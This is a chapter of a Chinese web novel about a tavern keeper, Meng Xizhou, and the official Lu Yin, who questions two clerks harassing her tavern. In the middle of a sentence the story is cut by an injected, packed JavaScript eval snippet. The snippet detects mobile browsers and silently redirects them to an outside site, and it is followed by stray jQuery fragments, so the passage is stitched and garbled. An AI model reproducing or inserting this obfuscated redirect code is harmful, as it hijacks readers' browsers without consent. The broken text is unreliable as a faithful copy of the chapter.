48. 审问

作品:《八卦小酒馆

    酒肆里的其他人,呼啦一下全都定住了一瞬。


    之后,反应过来的秋至装作很忙地擦桌子,辰阳和老四嘀嘀咕咕交头接耳。


    李素则一口气差点没喘上来,甘妈妈惊得张着嘴迈着小步子进了大堂,仿佛在问他俩人什么时候好上的?


    周万春嘴巴一瘪,抬手指着他们,委屈得几乎不能成句:“表兄,你们……我……”


    她不知表兄为何说要磨练自己的性子,难道也跟别的郎君一样,要妻子娴静温顺才好么?


    更震惊孟溪舟如何跟表兄亲密得像是夫妻一般。


    这两件事在她脑子里混乱地搅在一起,都很让她愤怒,便一时不知该先问清楚哪一个才好。


    陆隐站起身,冷睨她一眼,打断道:“你的事情咱们以后再说。”


    那就是先说你们的事情啦!


    被呵斥后,周万春迅速咽下委屈,把一双眼睛瞪圆了射他。


    逡巡一遍从秦州来的孟家人,周万春脑子啪地一下转过来弯来,前几年有个孟姓商贾为姨夫被冤一事奔走呼号,怕正是孟溪舟的父亲。


    她嘀嘀咕咕骂自己一声,太蠢了!


    怎么就没往这方面想,表兄年前去灵州守城,路过秦州,想必是拜访过孟家,两个人便因此见面好上了。


    周万春手掌死死按在桌面上,恨自己没问清楚,就跟孟溪舟喝酒谈心事,活该被人当猴耍,交浅言深是大忌,真该听母亲的话。


    因为经常闯祸,不知陆隐这回又抓了自己的什么把柄,她不敢立即发难也就罢了,心里还因被人家抓住尾巴而忐忑不安。


    往一旁与孟溪舟相对的条凳上坐下,周万春双臂交叉缚于胸前,强撑着没好气地道:“我有什么好说的。”


    “秋后的蚂蚱,你听着就行!”陆隐哼道。


    孟溪舟不知周万春到底原谅自己了没,看样子凶多吉少,听着陆隐的厉声斥责,毕竟自己没及时说清楚,算是对她不起在先,便轻轻拽住他的衣袖一角,低低地道:“小声点。”


    然后垂首心虚地小心望向周万春,发现周万春瞪完陆隐,此时已经转头瞪向自己。


    “抱歉。”孟溪舟发虚地小声道,信上道歉数次,仍不免忏愧。


    周万春哼的一声别过头去,不愿看他们拉扯,结果正对上陆隐射过来的冷冽眼神。


    她只好气愤且无语地闭上眼:好,一个红脸一个白脸,就演吧,我眼不见心静。


    陆隐转身坐在孟溪舟旁,拍拍她抓着自己衣袖的手,以示安慰。


    孟溪舟却赶忙松手,眼下除了周万春的情绪,她觉得身上还有好几道或恼怒或疑惑的目光。


    陆隐及时出现,忘乎所以与她传情,将两人的感情骤然公之于众,让她酸甜苦辣一时交集在心口,即不知如何面对周万春,也不知该怎么向母亲解释她与陆隐什么时候如此要好的,真是一团乱麻。


    “两位官差大人,愣在外头作何,酒肆里的酒菜不合二位胃口么?”


    声音不大,恣意慵懒,落在寂静无声的酒肆里,却如钟罄陡响,余音不断。


    孟溪舟抬眼,见他面色沉静,就像他官袍里的淡淡沉水香的味道,冷冽淡雅。


    两官差晓得得罪了人,这会子低头垂手,立在门槛处不敢乱看,不敢乱动。当朝三品及以上官员服紫,不晓得眼前此人是几品,斗不斗的过上头的人。


    “孟家酒肆哪里不合规矩,要三番五次劳累你们点检所?”陆隐手指敲在桌面上,发出噔噔噔的声响。


    官差被敲得抖了一阵儿,知道躲不过,但仍想挣扎一番:“小的有眼不识泰山,我们点检所的张大人一向爱民如子,我们见孟掌柜独身一个女子开店,便想着多照看一二,这才来的勤了些。”


    陆隐声掉不高不低,只冷得厉害:“不知吏部那帮子人怎么考核的,由着你们点检所自上而下地这般胡作非为!”


    那说话的官差本想着,官场上能爬到高位的人,个个都是人精,焉能不明白官员之间盘根错节的关系,盘根错节即是官官相护,点检所张大人背后有户部的大人做靠山,他报上张大人,此人定能明白其中关节,权衡一下,一个小酒肆而已,哪里值得得罪同僚。


    谁能想到,他非但不咬钩,还要拖吏部下水,并且说话的姿态是蔑视,好似说吏部考核不力,他要出手整顿一般。


    斜眼看那官差还要狡辩,陆隐没兴趣跟喽啰费力气,他手指头在周万春面前的四方桌面上噔噔敲击两下,问:“识得她吗?”


    官差抬起头迅速瞄了一眼,低着头答:“大人旁边坐的是孟掌柜,对面是谁不晓得。”


    “户部周侍郎之女。”陆隐淡声道。


    周侍郎之女,她方才喊紫袍男子为表哥,近来汴京城里的风云人物陆隐陆大人,与侍郎夫人正是姨甥关系。


    武能领兵拒敌,文是科举魁首,既能赢得当今官家的信任,受封有“内相”之称的翰林学士,又与太子殿下有着同窗情意。


    同是着紫配金,这位陆大人正二品,周侍郎正三品。


    两人瞬时明白,此人得罪不得。


    眼神一个交换,立即俯首跪地,连连认罪认罚。


    孟溪舟自感怪异,他直接报上自己的官职不就是了,何必多此一举先报周万春的身份。


    莫非此事与周府有牵扯?


    “报我名号作甚,你翰林学士,荣加龙图阁大学士,比我爹区区三品侍郎的名头响亮得多。报你自己的名号去!”周万春梗着脖子道。


    听着她恶狠狠的语调,孟溪舟与陆隐对视一眼,他点头,她明白此事与周万春无关。


    那么周府作何为难她一个小小商户,莫非是侍郎夫人所为?


    毕竟侍郎夫人视陆隐为仙谪仙一般,自己的女儿都不配染指,假如她写给周万春的信,侍郎夫人偷看了去,肯定会呕心,觉着陆隐被糟蹋了,急火攻心之下,对付她也说得过去。


    说来说去,酒肆被为难,全是因为陆隐。


    那他赶过来解决问题,是理所当然,她不必感激。


    眼皮一翻,轻哼一声,瞥过头不再看他。


    陆隐不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468632|182611||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她如何突然变脸,当着一屋子人的面,又不好大张旗鼓去哄,便压低声音伏在她耳畔道:“我没有炫耀的意思,马上就替你出气。”


    沉水香的气息顺着话语就往她身上扑,撩得孟溪舟脸颊一阵发烫,比那清浅的呼吸抓在肌肤上还要令人悸动。


    孟溪舟待要躲开,肩膀忽地一沉,扭头一看,是母亲李素。


    李素手按在女儿身上,克制着不满情绪,咬牙道:“你过来,莫要耽搁陆大人审案。”


    陆大人,以前都是亲热地唤他陆小郎君的。


    是了,当着人家母亲的面,先是把人搂着回大堂,又是耳鬓厮磨,任谁看都不像话。


    都怪他情急失了分寸,明明在朝堂上舌战群儒时不是这个样的,他心思深沉,出手果决,备参机要事小,主要他文能骂人,武能打人,甭管文官武吏,在他那张冷冰冰的面皮下都讨不到一分好颜色。


    如今白日煌煌下,倒因私心束手束脚起来。


    孟溪舟起身前,剜了陆隐一眼,瞧见他耳根子红得跟块滴血红玉一般。


    他干咳几声,找回陆大人的体面,双目微眯,眼神刀子一样劈向那两个低头不敢动弹的官差,初夏时节,声音冷得像贮藏在窖里的冰块。


    “如实说。”


    “说,这就说。”另一名官差抬起头,皱巴着脸,“周小姐,您看,我们不过听命行事,您就跟周大人替我哥俩求个情吧!”


    他不敢明说,但周万春再傻也明白其中关窍了,官差在冤枉说是她父亲捣的鬼。


    她噌地站起身,疾声道:“你胡说!无缘无故,我爹为难一个小小酒肆作什么?”


    官差只暗暗叫苦,你们自己窝里反,何必为难我们当差的。


    “我们只接到来巡查的令,哪里知道恁些内情。”


    周万春:“什么令,你要是拿不出文书,看我不扒了你的皮!”


    “小姐说笑,不过周大人一句话的事儿,哪里需要文书,不过是把孟家酒肆弄垮,让她们在汴京待不下就是了。”


    官差的脸苦成黄连,但说的有鼻子有眼,目的都如此清晰,周万春一时哑口。


    她指着官差,茫然地望向陆隐,问道:“表哥,他说的是真的吗?”


    陆隐定定地看她一息,挥手让官差滚蛋,又让秋至把门关上,才道:“你父亲为了你的婚事颇为费心。”


    “怎么又扯到我的婚事了?”周万春只觉跟文官讲话,脑子不够用,这也是她不喜欢陆隐的原因之一。


    “孟掌柜给你写过一封信,你可曾收到过?”陆隐问。


    周万春摇头。


    陆隐道:“你且去问你父亲要来,自会明白。”


    周万春望向孟溪舟,似乎要从她那里获得什么信息。


    孟溪舟点头,心里一松,她没收到信,怪不得方才恨不得吃了她的模样。


    “我写过,你看过自会明白。”


    “你等着,我定给你一个交代。”


    言罢,周万春头也不回地冲出酒肆,跨上马,即刻飞奔回家。